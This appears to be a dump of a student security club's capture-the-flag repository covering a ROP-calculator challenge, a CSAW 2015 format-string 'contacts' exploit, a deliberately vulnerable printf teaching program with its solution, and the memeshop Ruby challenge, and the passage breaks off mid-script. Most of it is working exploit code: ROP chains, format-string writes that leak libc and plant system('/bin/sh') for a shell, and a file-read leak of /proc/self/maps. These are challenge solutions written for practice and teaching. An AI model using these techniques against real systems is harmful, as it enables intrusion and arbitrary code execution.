0x0000000000400a20 : pop r10 ; ret 116 | 42 117 | 0x00000000004015a0 : imul rcx, r10 ; ret 118 | 119 | 0x0000000000400b90 : sub rax, rcx ; ret 120 | 0x0000000000400cd0 : sub rax, r8 ; ret 121 | 0x0000000000400a20 : pop r10 ; ret 122 | 2015 123 | 0x0000000000400d60 : add rax, r10 ; ret 124 | ``` 125 | 126 | Yay python: 127 | 128 | ```python 129 | rop += p64(0x0000000000400a20) 130 | rop += p64(23) 131 | rop += p64(0x0000000000400d80) 132 | rop += p64(0x0000000000400b80) 133 | rop += p64(0x0000000000400b30) 134 | 135 | rop += p64(0x0000000000400a20) 136 | rop += p64(5) 137 | rop += p64(0x00000000004019b0) 138 | rop += p64(0x0000000000401400) 139 | 140 | rop += p64(0x00000000004020e0) 141 | rop += p64(0x00000000004014a0) 142 | 143 | rop += p64(0x0000000000400a20) 144 | rop += p64(42) 145 | rop += p64(0x00000000004015a0) 146 | 147 | rop += p64(0x0000000000400b90) 148 | rop += p64(0x0000000000400cd0) 149 | rop += p64(0x0000000000400a20) 150 | rop += p64(2015) 151 | rop += p64(0x0000000000400d60) 152 | r.sendline(rop.encode('hex')) 153 | 154 | r.interactive() 155 | ``` 156 | 157 | A bit tedious, but fun nonetheless. Could be a good one to teach basic x64 ROP. 158 | -------------------------------------------------------------------------------- /cccamp2015-milliways/ropcalc/README.md: -------------------------------------------------------------------------------- 1 | # ROPcalc 2 | 3 | Create a ROP calculator! Support files here. Including the ROPgadget output. 4 | -------------------------------------------------------------------------------- /cccamp2015-milliways/ropcalc/pwn_ropcalc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | 5 | local = True 6 | 7 | if not local: 8 | r = remote('challs.campctf.ccc.ac', 10109) 9 | else: 10 | r = remote('localhost', 1024) 11 | 12 | 13 | elf = ELF('./ropcalc') 14 | 15 | context.log_level = 'debug' 16 | 17 | 18 | ''' 19 | level 1: Create a ROP chain that calculates: $rax + $rbx (store result in rax) 20 | 21 | 0x0000000000400b30 : add rax, rbx ; ret 22 | ''' 23 | 24 | r.recvuntil('line:') 25 | rop = '' 26 | rop += p64(0x0000000000400b30) 27 | r.sendline(rop.encode('hex')) 28 | 29 | 30 | ''' 31 | level 2: Create a ROP chain that calculates: $rax + $rbx + 1337 (store result in rax) 32 | 33 | 0x0000000000400b30 : add rax, rbx ; ret 34 | 0x00000000004008d0 : pop rbx ; ret 35 | 1337 36 | 0x0000000000400b30 : add rax, rbx ; ret 37 | 38 | ''' 39 | 40 | r.recvuntil('line:') 41 | rop = '' 42 | rop += p64(0x0000000000400b30) 43 | rop += p64(0x00000000004008d0) 44 | rop += p64(1337) 45 | rop += p64(0x0000000000400b30) 46 | r.sendline(rop.encode('hex')) 47 | 48 | 49 | ''' 50 | level 3: Create a ROP chain that calculates: $rax * $rbx (store result in rax) 51 | 52 | 0x0000000000400b50 : imul rax, rbx ; ret 53 | ''' 54 | 55 | r.recvuntil('line:') 56 | rop = '' 57 | rop += p64(0x0000000000400b50) 58 | r.sendline(rop.encode('hex')) 59 | 60 | 61 | ''' 62 | level 4: Create a ROP chain that calculates: $rax * (31337 + $rbx) (store result in rax) 63 | 64 | 0x0000000000400900 : pop rcx ; ret 65 | 31337 66 | 0x00000000004013a0 : add rcx, rbx ; ret 67 | 0x0000000000400ba0 : imul rax, rcx ; ret 68 | ''' 69 | 70 | r.recvuntil('line:') 71 | rop = '' 72 | rop += p64(0x0000000000400900) 73 | rop += p64(31337) 74 | rop += p64(0x00000000004013a0) 75 | rop += p64(0x0000000000400ba0) 76 | r.sendline(rop.encode('hex')) 77 | 78 | 79 | ''' 80 | level 5: Create a ROP chain that calculates: 81 | $rcx + 23 * $rax + $rbx - 42 * ($rcx - 5 * $rd$rax + $rbx + 1337 x - $rdi * $rsi) - $r8 + 2015 (store result in rax) 82 | 83 | 84 | 85 | # 0x00000000004030a0 : mov r11, rcx ; ret dup rcx 86 | 0x0000000000400a20 : pop r10 ; ret stage 23 87 | 23 88 | 0x0000000000400d80 : imul rax, r10 ; ret 23 * rax 89 | 0x0000000000400b80 : add rax, rcx ; ret ^this + rcx 90 | 0x0000000000400b30 : add rax, rbx ; ret ^this + rbx 91 | 92 | 93 | stuffs: 94 | 0x0000000000400a20 : pop r10 ; ret 95 | 5 96 | 0x00000000004019b0 : imul rdx, r10 ; ret 97 | 0x0000000000401400 : sub rcx, rdx ; ret 98 | 99 | 100 | 0x00000000004020e0 : imul rdi, rsi ; ret 101 | 0x00000000004014a0 : sub rcx, rdi ; ret 102 | 103 | 104 | 0x0000000000400a20 : pop r10 ; ret 105 | 42 106 | 0x00000000004015a0 : imul rcx, r10 ; ret 107 | 108 | 109 | 0x0000000000400b90 : sub rax, rcx ; ret 110 | 0x0000000000400cd0 : sub rax, r8 ; ret 111 | 0x0000000000400a20 : pop r10 ; ret 112 | 2015 113 | 0x0000000000400d60 : add rax, r10 ; ret 114 | 115 | 116 | 117 | 118 | ''' 119 | ''' 120 | r.recvuntil('line:') 121 | rop = '' 122 | # rop += p64(0x00000000004030a0) 123 | rop += p64(0x0000000000400a20) 124 | rop += p64(23) 125 | rop += p64(0x0000000000400d80) 126 | rop += p64(0x0000000000400b80) 127 | rop += p64(0x0000000000400b30) 128 | 129 | rop += p64(0x0000000000400a20) 130 | rop += p64(5) 131 | rop += p64(0x00000000004019b0) 132 | rop += p64(0x0000000000401400) 133 | 134 | rop += p64(0x00000000004020e0) 135 | rop += p64(0x00000000004014a0) 136 | 137 | rop += p64(0x0000000000400a20) 138 | rop += p64(42) 139 | rop += p64(0x00000000004015a0) 140 | 141 | rop += p64(0x0000000000400b90) 142 | rop += p64(0x0000000000400cd0) 143 | rop += p64(0x0000000000400a20) 144 | rop += p64(2015) 145 | rop += p64(0x0000000000400d60) 146 | r.sendline(rop.encode('hex')) 147 | 148 | 149 | r.interactive() 150 | ''' 151 | -------------------------------------------------------------------------------- /cccamp2015-milliways/ropcalc/ropcalc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/cccamp2015-milliways/ropcalc/ropcalc -------------------------------------------------------------------------------- /cccamp2015-milliways/ropcalc/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import argparse 4 | import numpy as np 5 | import re 6 | import struct 7 | import resource 8 | from random import randint 9 | from tornado import gen 10 | from tornado import iostream 11 | from tornado.process import Subprocess 12 | from tornado.ioloop import IOLoop 13 | from tornado.tcpserver import TCPServer 14 | 15 | 16 | np.warnings.simplefilter("ignore", RuntimeWarning) # hide integer overflow warning 17 | 18 | TIMEOUT = 15 19 | EXPRESSIONS = ( 20 | "$rax + $rbx", 21 | "$rax + $rbx + 1337", 22 | "$rax * $rbx", 23 | "$rax * (31337 + $rbx)", 24 | "$rcx + 23 * $rax + $rbx - 42 * ($rcx - 5 * $rdx - $rdi * $rsi) - $r8 + 2015", 25 | ) 26 | try: 27 | FLAG = open("flag.txt").read() 28 | except IOError: 29 | FLAG = "DUMMY_FLAG" 30 | 31 | 32 | class ScopedProcess(Subprocess): 33 | def __enter__(self): 34 | return self 35 | 36 | def __exit__(self, type, value, tb): 37 | for f in (self.stdin, self.stdout, self.stderr): 38 | if f is not None: 39 | f.close() 40 | try: 41 | self.proc.kill() 42 | except OSError: 43 | pass 44 | 45 | 46 | class Client(object): 47 | def __init__(self, cli, loop=None): 48 | self.cli = cli 49 | self.regs = Registers.random() 50 | if loop is None: 51 | self.loop = IOLoop.instance() 52 | else: 53 | self.loop = loop 54 | self.timeout = None 55 | 56 | def start(self): 57 | self.timeout = self.loop.call_later(TIMEOUT, lambda: self.error("Too slow!")) 58 | self.cli.set_close_callback(self.finished) 59 | self.validate_expressions() 60 | 61 | @gen.coroutine 62 | def validate_expressions(self, *args): 63 | for i, expression in enumerate(EXPRESSIONS): 64 | yield self.cli.write( 65 | "Level [{}/{}]\n" 66 | "Create a ROP chain that calculates: {} (store result in rax)\n" 67 | "Enter your solution as a single hex encoded line: " 68 | .format(i + 1, len(EXPRESSIONS), expression) 69 | ) 70 | try: 71 | line = yield self.cli.read_until("\n", max_bytes=4096) 72 | except iostream.StreamClosedError: 73 | break 74 | try: 75 | ropchain = line.strip("\n").decode("hex") 76 | except TypeError: 77 | yield self.error("Error decoding ROP chain!") 78 | break 79 | ok = yield self.execute_ropchain(ropchain, expression) 80 | if not ok: 81 | yield self.write("Wrong result. Better luck next time!") 82 | break 83 | yield self.write("Correct!\n" + "-" * 80) 84 | else: 85 | yield self.write("The flag is: {}".format(FLAG)) 86 | self.finished() 87 | 88 | @gen.coroutine 89 | def execute_ropchain(self, ropchain, expression): 90 | args = { 91 | "close_fds": True, 92 | "stdin": Subprocess.STREAM, 93 | "stdout": Subprocess.STREAM, 94 | } 95 | with ScopedProcess(["./ropcalc"], **args) as proc: 96 | yield proc.stdin.write(self.regs.serialize()) 97 | yield proc.stdin.write(struct.pack(">>") 24 | 25 | raw_input() 26 | 27 | uuid = 0 28 | 29 | base = -1 30 | # Declare a function that takes a single address, and 31 | # leaks at least one byte at that address. 32 | 33 | 34 | def getbase(): 35 | global uuid 36 | global r 37 | 38 | r.sendline("1") 39 | 40 | print r.recvuntil("Name:") 41 | r.sendline(str(uuid)) 42 | uuid += 1 43 | 44 | print r.recvuntil("No:") 45 | r.sendline("1") 46 | print r.recvuntil("Length of description:") 47 | r.sendline("60") 48 | print r.recvuntil("Enter description:") 49 | 50 | sploit = "" 51 | sploit += "%6$08x *^*" 52 | 53 | 54 | r.sendline(sploit) 55 | 56 | r.recvuntil(">>>") 57 | 58 | r.sendline("4") 59 | 60 | parseme = r.recvuntil(">>>") 61 | #print parseme 62 | 63 | ind = parseme.split().index("*^*") 64 | baseaddr = int(parseme.split()[ind - 1], 16) 65 | baseaddr -= 0x48 66 | 67 | print "baseaddr: " + hex(baseaddr) 68 | return baseaddr 69 | 70 | 71 | # I'm not sure if this works 72 | def leak(address): 73 | global uuid 74 | global r 75 | global base 76 | 77 | 78 | lower = address % 65536 79 | upper = address // 65536 80 | 81 | 82 | r.sendline("1") 83 | 84 | print r.recvuntil("Name:") 85 | r.sendline(str(uuid)) 86 | uuid += 1 87 | 88 | print r.recvuntil("No:") 89 | r.sendline("1") 90 | print r.recvuntil("Length of description:") 91 | r.sendline("60") 92 | print r.recvuntil("Enter description:") 93 | 94 | sploit = "" 95 | sploit += "%" + str((base % 65536) + 120) + "x" 96 | sploit += "%33$hn" 97 | sploit += "A"*2 98 | sploit += "%34$hn" 99 | 100 | r.sendline(sploit) 101 | 102 | r.recvuntil(">>>") 103 | 104 | 105 | 106 | r.sendline("1") 107 | 108 | print r.recvuntil("Name:") 109 | r.sendline(str(uuid)) 110 | uuid += 1 111 | 112 | print r.recvuntil("No:") 113 | r.sendline("1") 114 | print r.recvuntil("Length of description:") 115 | r.sendline("60") 116 | print r.recvuntil("Enter description:") 117 | 118 | if lower < upper: 119 | sploit = "" 120 | sploit += "%" + str(lower) + "x" 121 | sploit += "%73$hn" 122 | sploit += "%" + str(upper - lower) + "x" 123 | sploit += "%75$hn" 124 | else: 125 | sploit = "" 126 | sploit += "%" + str(upper) + "x" 127 | sploit += "%75$hn" 128 | sploit += "%" + str(lower - upper) + "x" 129 | sploit += "%73$hn" 130 | 131 | r.sendline(sploit) 132 | print sploit 133 | 134 | r.recvuntil(">>>") 135 | 136 | r.sendline("1") 137 | 138 | print r.recvuntil("Name:") 139 | r.sendline(str(uuid)) 140 | uuid += 1 141 | 142 | print r.recvuntil("No:") 143 | r.sendline("1") 144 | print r.recvuntil("Length of description:") 145 | r.sendline("60") 146 | print r.recvuntil("Enter description:") 147 | 148 | sploit = "" 149 | sploit += "%30$4s" 150 | r.sendline(sploit) 151 | 152 | r.recvuntil(">>>") 153 | 154 | r.sendline("4") 155 | 156 | stuffs = r.recvuntil(">>>") 157 | 158 | print stuffs[-100:] 159 | ind = stuffs.rfind("Description:") 160 | print ind 161 | 162 | print "fin" 163 | 164 | data_s = stuffs[ind+13:ind+13+4] 165 | print data_s 166 | data = 0 167 | for c in data_s[::-1]: 168 | data <<= 8 169 | data += ord(c) 170 | print hex(data) 171 | return data 172 | #return hex(data)[2:] 173 | 174 | 175 | 176 | 177 | 178 | # make the string "/bin/sh" in memory and return its address 179 | def make_binsh(): 180 | global uuid 181 | global r 182 | global base 183 | 184 | r.sendline("1") 185 | 186 | print r.recvuntil("Name:") 187 | r.sendline("/bin/sh") 188 | uuid += 1 189 | 190 | print r.recvuntil("No:") 191 | r.sendline("/bin/sh") 192 | print r.recvuntil("Length of description:") 193 | r.sendline("60") 194 | print r.recvuntil("Enter description:") 195 | 196 | sploit = "" 197 | sploit += "%1$08x" 198 | 199 | r.sendline(sploit) 200 | 201 | r.recvuntil(">>>") 202 | 203 | r.sendline("4") 204 | 205 | stuffs = r.recvuntil(">>>") 206 | 207 | print stuffs[-100:] 208 | ind = stuffs.rfind("Description:") 209 | print ind 210 | 211 | print "fin" 212 | 213 | data_s = stuffs[ind+13:ind+13+8] 214 | print data_s 215 | 216 | return data_s 217 | 218 | 219 | 220 | 221 | # write the value to the address 222 | # address is a number, but val is a hex string 223 | def write_stack(address, val): 224 | global uuid 225 | global r 226 | global base 227 | 228 | 229 | lower = address % 65536 230 | upper = address // 65536 231 | 232 | baseupper = base // 65536 233 | if baseupper != upper: 234 | print "NOT GONNA WORK" 235 | raw_input() 236 | 237 | 238 | r.sendline("1") 239 | 240 | print r.recvuntil("Name:") 241 | r.sendline(str(uuid)) 242 | uuid += 1 243 | 244 | print r.recvuntil("No:") 245 | r.sendline("1") 246 | print r.recvuntil("Length of description:") 247 | r.sendline("60") 248 | print r.recvuntil("Enter description:") 249 | 250 | sploit = "" 251 | sploit += "%" + str(lower) + "x" 252 | sploit += "%33$hn" # 132 253 | sploit += "A"*2 254 | sploit += "%34$hn" # 136 255 | 256 | r.sendline(sploit) 257 | 258 | r.recvuntil(">>>") 259 | 260 | 261 | lower = val[-4:] 262 | upper = val[:-4] 263 | 264 | print upper, lower 265 | 266 | lower = int(lower, 16) 267 | upper = int(upper, 16) 268 | 269 | r.sendline("1") 270 | 271 | print r.recvuntil("Name:") 272 | r.sendline(str(uuid)) 273 | uuid += 1 274 | 275 | print r.recvuntil("No:") 276 | r.sendline("1") 277 | print r.recvuntil("Length of description:") 278 | r.sendline("60") 279 | print r.recvuntil("Enter description:") 280 | 281 | if lower < upper: 282 | sploit = "" 283 | sploit += "%" + str(lower) + "x" 284 | sploit += "%73$hn" # 292 285 | if(upper-lower > 0): 286 | sploit += "%" + str(upper - lower) + "x" 287 | sploit += "%75$hn" # 300 288 | else: 289 | sploit = "" 290 | sploit += "%" + str(upper) + "x" 291 | sploit += "%75$hn" 292 | if(lower-upper > 0): 293 | sploit += "%" + str(lower - upper) + "x" 294 | sploit += "%73$hn" 295 | 296 | r.sendline(sploit) 297 | print sploit 298 | 299 | r.recvuntil(">>>") 300 | 301 | def run_sploit(): 302 | global r 303 | r.sendline("4") 304 | r.interactive() 305 | 306 | 307 | # print off parts of the stack then run the exploit 308 | def blast_stack(): 309 | global uuid 310 | global r 311 | global base 312 | 313 | r.sendline("1") 314 | 315 | print r.recvuntil("Name:") 316 | r.sendline(str(uuid)) 317 | uuid += 1 318 | 319 | print r.recvuntil("No:") 320 | r.sendline("1") 321 | print r.recvuntil("Length of description:") 322 | r.sendline("300") 323 | print r.recvuntil("Enter description:") 324 | 325 | sploit = "" 326 | sploit += "::%16$x" 327 | sploit += "::%17$x" 328 | sploit += "::%18$x" 329 | sploit += "::%19$x" 330 | sploit += "::%20$x" 331 | sploit += "::%21$x" 332 | sploit += "::%22$x" 333 | sploit += "::%23$x" 334 | sploit += "::%24$x" 335 | sploit += "::%25$x" 336 | sploit += "::%26$x" 337 | sploit += "::%27$x" 338 | sploit += "::%28$x" 339 | sploit += "::%29$x" 340 | sploit += "::%30$x" 341 | 342 | r.sendline(sploit) 343 | 344 | r.recvuntil(">>>") 345 | r.sendline("4") 346 | r.interactive() 347 | # print r.recvuntil(">>>") 348 | 349 | 350 | # Find the offset of libc 351 | def get_system(): 352 | global uuid 353 | global r 354 | global base 355 | global startmain_offset 356 | 357 | r.sendline("1") 358 | 359 | print r.recvuntil("Name:") 360 | r.sendline(str(uuid)) 361 | uuid += 1 362 | 363 | print r.recvuntil("No:") 364 | r.sendline("1") 365 | print r.recvuntil("Length of description:") 366 | r.sendline("60") 367 | print r.recvuntil("Enter description:") 368 | 369 | sploit = "" 370 | sploit += "%31$08x *^^*" 371 | 372 | 373 | r.sendline(sploit) 374 | 375 | r.recvuntil(">>>") 376 | 377 | r.sendline("4") 378 | 379 | parseme = r.recvuntil(">>>") 380 | #print parseme 381 | 382 | ind = parseme.split().index("*^^*") 383 | systemaddr = int(parseme.split()[ind - 1], 16) 384 | 385 | 386 | systemaddr -= 230 # we are grabbing the return address for <__libc_start_main+230> 387 | systemaddr -= startmain_offset # __libc_start_main 388 | 389 | # systemaddr = 256 * (systemaddr // 256) 390 | systemaddr &= ~((1<<12) - 1) # The lower 12 bits of libc addresses aren't randomized, http://www.limited-entropy.com/fusion-04-exploit-write-up/ 391 | 392 | 393 | 394 | print "libc: " + hex(systemaddr) 395 | return systemaddr 396 | 397 | # Remove all contacts 398 | def delete_all(): 399 | global uuid 400 | global r 401 | global base 402 | 403 | while uuid >=0: 404 | uuid -= 1 405 | 406 | r.sendline("2") 407 | r.recvuntil("remove?") 408 | r.sendline(str(uuid)) 409 | r.recvuntil(">>>") 410 | 411 | # start by getting the address of the top of the stack 412 | base = getbase() 413 | # raw_input() 414 | 415 | #blast_stack() 416 | # raw_input() 417 | # leak(base + 24) 418 | 419 | 420 | 421 | ''' 422 | # remote values: 423 | startmain_offset = 0x00019970 # ???? 424 | system_offset = 0x0003fcd0 425 | printf_offset = 0x0004cc40 # ???? 426 | ''' 427 | 428 | # local value: 429 | # YOU WILL HAVE TO CHANGE THESE TO MATCH YOUR SYSTEM 430 | startmain_offset = 0x00016d60 # ???? 431 | system_offset = 0x0003be20 432 | printf_offset = 0x00049d70 # ???? 433 | 434 | # Get the offset of libc 435 | libc_base = get_system() 436 | 437 | # Use this offset to get addresses of important functions 438 | system = libc_base + system_offset 439 | printf = libc_base + printf_offset 440 | 441 | print "printf", hex(printf) 442 | 443 | 444 | # change this to be either system or printf depending on if you want a shell or a proof of concept 445 | ret2libc = hex(system)[2:] 446 | print "ret2libc", ret2libc 447 | delete_all() 448 | raw_input() 449 | 450 | binsh = make_binsh() 451 | print "binsh: ", binsh 452 | 453 | #blast_stack() 454 | 455 | raw_input() 456 | 457 | 458 | 459 | write_stack(base + 21*4, binsh) 460 | #write_stack(base + 60, "EEEEFFFF") 461 | write_stack(base + 19*4, ret2libc) # system 462 | 463 | print "ready to SPLOIT" 464 | 465 | raw_input() 466 | 467 | blast_stack() 468 | 469 | 470 | #run_sploit() 471 | 472 | 473 | 474 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit250-contacts/contacts_54f3188f64e548565bc1b87d7aa07427: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2015-quals/Exploit250-contacts/contacts_54f3188f64e548565bc1b87d7aa07427 -------------------------------------------------------------------------------- /csaw2015-quals/Exploit250-contacts/contacts_old: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2015-quals/Exploit250-contacts/contacts_old -------------------------------------------------------------------------------- /csaw2015-quals/Exploit250-contacts/libc-hopeful.so.6: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2015-quals/Exploit250-contacts/libc-hopeful.so.6 -------------------------------------------------------------------------------- /csaw2015-quals/Exploit250-contacts/printf-example/README.md: -------------------------------------------------------------------------------- 1 | # Basic Printf Example 2 | As part of my presentation during the WCSC meeting, I used this program to demo a basic printf exploit before leading in to the more difficult "contacts" challenge. 3 | 4 | ## Usage 5 | Run the compiled binary `./printf-example` 6 | 7 | Enter in your "user name". Your goal is to exploit the fact that this string is directly printf'd by the program. 8 | 9 | ## Compilation 10 | `gcc -m32 -std=gnu99 printf-example.c -o printf-example` 11 | 12 | `-m32` tells gcc to compile as a 32-bit program instead of a 64-bit program. 32-bit is simpler to understand. You may need to install the ia32-libs package depending on your system setup. 13 | 14 | ## Exploitation 15 | I recommend using [GDB](https://www.gnu.org/software/gdb/) with [PEDA](https://github.com/longld/peda). I have a custom PEDA fork that I like because it adds more color/tabs to memory views. It's [here](https://github.com/duckythescientist/peda). 16 | 17 | The solution is in `solution.txt` if you can't get it on your own. -------------------------------------------------------------------------------- /csaw2015-quals/Exploit250-contacts/printf-example/printf-example: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2015-quals/Exploit250-contacts/printf-example/printf-example -------------------------------------------------------------------------------- /csaw2015-quals/Exploit250-contacts/printf-example/printf-example.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // A basic printf exploit example 4 | 5 | 6 | void say_hello(); 7 | 8 | int main() 9 | { 10 | 11 | 12 | int foo = 0x41414141; 13 | int * foo_ptr; 14 | foo_ptr = &foo; 15 | 16 | say_hello(); 17 | 18 | if(*foo_ptr == 8) 19 | { 20 | printf("You win!\n"); 21 | } 22 | else 23 | { 24 | printf("You lose\n"); 25 | } 26 | 27 | return 0; 28 | } 29 | 30 | void say_hello() 31 | { 32 | char username[20]; 33 | 34 | fgets(username, 20, stdin); 35 | 36 | printf(username); // This is bad. Never do this in real life. 37 | // printf("%s", username); // This is the proper way to print a string with printf. 38 | } -------------------------------------------------------------------------------- /csaw2015-quals/Exploit250-contacts/printf-example/solution.txt: -------------------------------------------------------------------------------- 1 | Enter the following as your "username" 2 | `%08x%23$n` 3 | 4 | or possibly 5 | 6 | `%08x%19$n' 7 | 8 | It depends on how the thing gets compiled. 9 | 10 | 11 | What this does: 12 | 13 | %08x 14 | This prints 8 hexadecimal characters from the first thing on the stack. 15 | 16 | Because we now have printer 8 characters, we can write out this number to pass the win/lose check 17 | 18 | %23$n 19 | This writes out to memory pointed to by the 23rd stack value. It writes the number of thus far printed characters (8) 20 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/fortunes/asdf: -------------------------------------------------------------------------------- 1 | hi 2 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/memes/cage.meme: -------------------------------------------------------------------------------- 1 | hi 2 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/memes/derp.meme: -------------------------------------------------------------------------------- 1 | hi 2 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/memes/doge.meme: -------------------------------------------------------------------------------- 1 | hi 2 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/memes/fry.meme: -------------------------------------------------------------------------------- 1 | hi 2 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/memes/nyan.meme: -------------------------------------------------------------------------------- 1 | hi 2 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/memes/sir.meme: -------------------------------------------------------------------------------- 1 | hi 2 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/memes/skeleton.meme: -------------------------------------------------------------------------------- 1 | hi 2 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/memes/thumbup.meme: -------------------------------------------------------------------------------- 1 | hi 2 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/memes/troll.meme: -------------------------------------------------------------------------------- 1 | hi 2 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/memeshop.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | GC.disable 3 | require 'tempfile' 4 | require 'base64' 5 | require_relative './plugin/mememachine.so' 6 | 7 | include MemeMachine 8 | 9 | $stdout.sync = true 10 | @meme_count = 0 11 | 12 | def print_menu 13 | puts "[p]"+ "rint receipt from confirmation number" 14 | puts "[n]" + "ic cage (RARE MEME)" 15 | puts "[d]" + "erp" 16 | puts "d" + "[o]" + "ge (OLD MEME, ON SALE)" 17 | puts "[f]" + "ry (SHUT UP AND LET ME TAKE YOUR MONEY)" 18 | puts "n" + "[y]" + "an cat" 19 | puts "[l]" + "ike a sir" 20 | puts "[m]" + "r skeletal (doot doot)" 21 | puts "[t]" + "humbs up" 22 | puts "t" + "[r]" + "ollface.jpg" 23 | puts "[c]" + "heck out" 24 | puts "[q]" + "uit" 25 | end 26 | 27 | def print_receipt 28 | print "ok, let me know your order number bro: " 29 | str = gets.chomp 30 | f = Base64.decode64 str 31 | if f.include? "flag" or f.include? "*" 32 | puts "flag{just kidding, you need a shell}" 33 | elsif File.exist? f 34 | puts "ok heres ur receipt or w/e" 35 | puts IO.read(f) 36 | else 37 | puts "sry br0, i have no records of that" 38 | end 39 | puts "" 40 | end 41 | 42 | def checkouter 43 | str = "u got memed on #{@meme_count} times, memerino" 44 | file = Tempfile.new "meme" 45 | file.write str 46 | ObjectSpace.undefine_finalizer file 47 | puts "ur receipt is at #{Base64.encode64 file.path}" 48 | puts checkout @meme_count 49 | end 50 | 51 | def domeme name 52 | @meme_count = @meme_count + 1 53 | meme = IO.read name 54 | puts meme 55 | addmeme 56 | end 57 | 58 | def skeletal 59 | @meme_count = @meme_count + 1 60 | puts IO.read "./memes/skeleton.meme" 61 | puts "so... what do you say to mr skeletal?" 62 | str = gets 63 | puts addskeletal Base64.decode64 str 64 | end 65 | 66 | puts "hi fellow memers" 67 | puts "welcome to the meme shop" 68 | puts "u ready 2 buy some dank meme?" 69 | puts " --------------------------- " 70 | puts IO.read Dir.glob("fortunes/*").sample 71 | puts " --------------------------- " 72 | 73 | puts "so... lets see what is on the menu" 74 | 75 | quit = false 76 | while not quit 77 | print_menu 78 | val = gets.chomp 79 | case val[0] 80 | when 'q' 81 | quit = true 82 | next 83 | when 'p' 84 | print_receipt 85 | next 86 | when 'o' 87 | domeme "./memes/doge.meme" 88 | next 89 | when 'n' 90 | domeme "./memes/cage.meme" 91 | next 92 | when 'd' 93 | domeme "./memes/derp.meme" 94 | next 95 | when 'f' 96 | domeme "./memes/fry.meme" 97 | next 98 | when 'y' 99 | domeme "./memes/nyan.meme" 100 | next 101 | when 'l' 102 | domeme "./memes/sir.meme" 103 | next 104 | when 'm' 105 | skeletal 106 | next 107 | when 't' 108 | domeme "./memes/thumbup.meme" 109 | next 110 | when 'r' 111 | domeme "./memes/troll.meme" 112 | next 113 | when 'c' 114 | checkouter 115 | quit = true 116 | next 117 | end 118 | end 119 | 120 | puts "bye" 121 | -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/plugin/mememachine.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WCSC/writeups/3e822b316cec7634ec1d186e13acf1ad7ad4d5e5/csaw2015-quals/Exploit400-memeshop/plugin/mememachine.so -------------------------------------------------------------------------------- /csaw2015-quals/Exploit400-memeshop/pwn_memeshop.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from pwn import * 4 | import base64, os 5 | 6 | r = None 7 | # context.log_level = 'debug' 8 | context.timeout = 5 9 | local = True 10 | 11 | def main(arg=''): 12 | global r 13 | if not local: 14 | r = remote('52.3.190.202', '1337') 15 | else: 16 | r = process('memeshop.rb') 17 | r.readuntil('uit') 18 | 19 | libc = libc_base() 20 | log.success('Found libc base at: ' + hex(libc)) 21 | if local: 22 | system = libc + 0x3f890 23 | binsh = libc + 0x1653B8 24 | bespoke_ret = libc + 0x937 25 | bespoke_gadget = libc + 0x10a474 26 | else: 27 | system = libc + 0x46640 28 | binsh = libc + 0x17CCDB 29 | bespoke_ret = libc + 0xf479e 30 | bespoke_gadget = libc + 0x120173 31 | log.info('System: {} \tbinsh: {}'.format(hex(system), hex(binsh))) 32 | 33 | for _ in range(250): 34 | add_meme() 35 | 36 | for _ in range(6): 37 | add_skel() 38 | 39 | sploit = '/bin/sh\x00' # this will go into rbp, then rdi 40 | sploit += p64(bespoke_ret) # this is the first ret 41 | sploit += '/bin/sh\x00' # yolo 42 | sploit += '/bin/sh\x00' # yolo 43 | sploit += '/bin/sh\x00' # yolo 44 | sploit += '/bin/sh\x00' # yolo 45 | add_skel(resp=sploit) 46 | sploit = p64(system) # bespoke_gadget calls this 47 | sploit += p64(bespoke_gadget) 48 | add_skel(resp=sploit) 49 | 50 | log.success('Found libc base at: ' + hex(libc)) 51 | log.info('System: {} \tbinsh: {}'.format(hex(system), hex(binsh))) 52 | 53 | def libc_base(): 54 | maps = dump_file('/proc/self/maps') 55 | for segment in maps.splitlines(): 56 | if 'libc-' in segment and 'r-xp' in segment: 57 | return int('0x' + segment.split('-')[0], 16) 58 | 59 | 60 | r.readuntil('uit') 61 | 62 | def add_meme(): 63 | r.send('n\n') 64 | r.readuntil('uit') 65 | 66 | def add_skel(resp='thanks mr skeletal'): 67 | r.send('m\n') 68 | r.recvuntil('so... what do you say to mr skeletal?') 69 | string = base64.b64encode(resp) 70 | r.send(string+'\n') 71 | 72 | 73 | def dump_file(fname): 74 | string = base64.b64encode(fname) 75 | r.send('p\n') 76 | r.readuntil('bro:') 77 | r.send(string+'\n') 78 | r.recvuntil('w/e\n') 79 | tmp = '' 80 | while(r.can_recv(1)): 81 | try: 82 | tmp += r.recv() 83 | except EOFError: 84 | log.info('End of file') 85 | r.sendline('\n') 86 | tmp += r.readuntil('rint receipt from 